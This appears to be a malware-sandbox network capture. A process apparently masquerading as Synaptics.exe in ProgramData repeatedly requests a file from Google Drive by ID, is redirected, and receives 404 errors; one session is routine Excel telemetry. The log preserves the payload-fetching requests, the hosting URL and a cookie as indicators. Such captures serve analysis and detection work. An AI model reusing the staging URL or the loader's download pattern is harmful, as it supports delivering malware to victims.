2024-11-15 10:24:48 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:48 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-kGx5_Mk2YWTxVuzEyZCSVA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.16	49812	142.250.185.78	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:48 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:48 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:48 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-p2G329tdK2rVIClBXJeeXQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.16	49813	142.250.185.65	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:48 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:48 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:48 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-0lLmqkjAYdD9a1wf_16kxw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AHmUCY2gfXjWVDAsqeofbTuVqFphx1TFpghy6AWjWV0geGgt_sX12RDY2r7bJFc1qhebvbnuRIqjNYnTTA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-15 10:24:48 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-15 10:24:48 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6d 4a 68 46 4d 31 6b 48 44 73 4d 34 37 68 6d 63 66 6a 31 39 76 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="mJhFM1kHDsM47hmcfj19vA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-15 10:24:48 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.16	49815	142.250.185.65	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:48 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.16	49816	13.107.246.45	443	5892	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:48 UTC	207	OUT	GET /rules/rule120603v8s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 10:24:48 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 10:24:48 GMT Content-Type: text/xml Content-Length: 2128 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA41F3C62" x-ms-request-id: 8720efe9-c01e-0082-3dd2-2caf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T102448Z-16547b76f7fhvzzthC1DFW5570000000019g000000003ut3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 10:24:48 UTC	2128	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 33 22 20 56 3d 22 38 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 64 64 69 74 69 6f 6e 61 6c 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 45 3d 22 66 61 6c 73 65 22 20 44 4c 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120603" V="8" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAdditional" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" E="false" DL=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.16	49822	142.250.185.65	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:49 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:50 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:50 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-WZB61sqAPRaZ2uf0bVWzAQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AFiumC4Y-IvMWVFf9aaqAe8mAA624S-jRhspD1IXCscQqxvOfD6snMaNAN4AX5yYwRxmhdf6nSFoCImaRg Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-15 10:24:50 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-15 10:24:50 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 54 4e 35 4c 36 4e 72 65 75 47 67 75 46 4c 36 56 2d 32 64 4b 74 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="TN5L6NreuGguFL6V-2dKtQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-15 10:24:50 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.16	49823	142.250.185.78	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:49 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:50 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:50 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-TpTBmAHIhlBoqcizr3UG6g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.16	49824	142.250.185.78	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:49 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:50 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:50 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-4qW9pLSnSpiaJJwSt6AKjQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.16	49827	142.250.185.78	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:51 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:51 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:51 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-QUgPZWLQMxwBe7nIsFvHqg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.16	49826	142.250.185.65	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:51 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:51 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:51 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-6Kb6zbEz4sL8FB2YC-a5gQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 X-GUploader-UploadID: AFiumC7MYxQcydIZKLetSa5-de378R2mvWCCb2-STEDFpICE_wDiN4FsdsfkUyX6gngmNxIK8IasWoWMyg Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-15 10:24:51 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-15 10:24:51 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 69 66 71 53 4d 68 31 59 70 52 45 78 4e 33 50 57 30 6d 74 47 76 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="ifqSMh1YpRExN3PW0mtGvw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
